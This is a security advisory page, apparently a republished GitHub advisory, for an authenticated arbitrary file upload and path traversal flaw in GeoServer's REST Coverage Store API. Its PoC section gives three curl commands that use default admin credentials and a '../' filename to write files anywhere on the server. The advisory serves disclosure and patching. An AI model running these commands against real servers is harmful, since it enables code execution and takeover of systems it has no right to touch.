High

Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API

  • Disclosed: 20.03.2024
  • Updated: 11.10.2026 12:21

Summary

An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.

Details

Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.

PoC

Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).

Impact

This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.

References

https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.geoserver:gs-platform < 2.23.4, >= 2.24.0, < 2.24.1 2.23.4, 2.24.1
Java / Kotlin (Maven) org.geoserver:gs-restconfig < 2.23.4, >= 2.24.0, < 2.24.1 2.23.4, 2.24.1

References

CVSS score 7.2/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-20, CWE-434
Platform
Java / Kotlin (Maven)
Package
org.geoserver:gs-platform, org.geoserver:gs-restconfig
Disclosed
20.03.2024
Updated
11.10.2026 12:21

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9v5q-2gwq-q9hq - CC BY 4.0

Vulnerability history: org.geoserver:gs-restconfig

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
03.2024 03.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 2

Disclosures per year

  1. 2024: 3
  2. 2025: 0
  3. 2026: 0
  1. Medium · 6.0 CVE-2024-23634 < 2.23.5, >= 2.24.0, < 2.24.2 2.23.5, 2.24.2
  2. Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API this entry
    High · 7.2 CVE-2023-51444 < 2.23.4, >= 2.24.0, < 2.24.1 2.23.4, 2.24.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.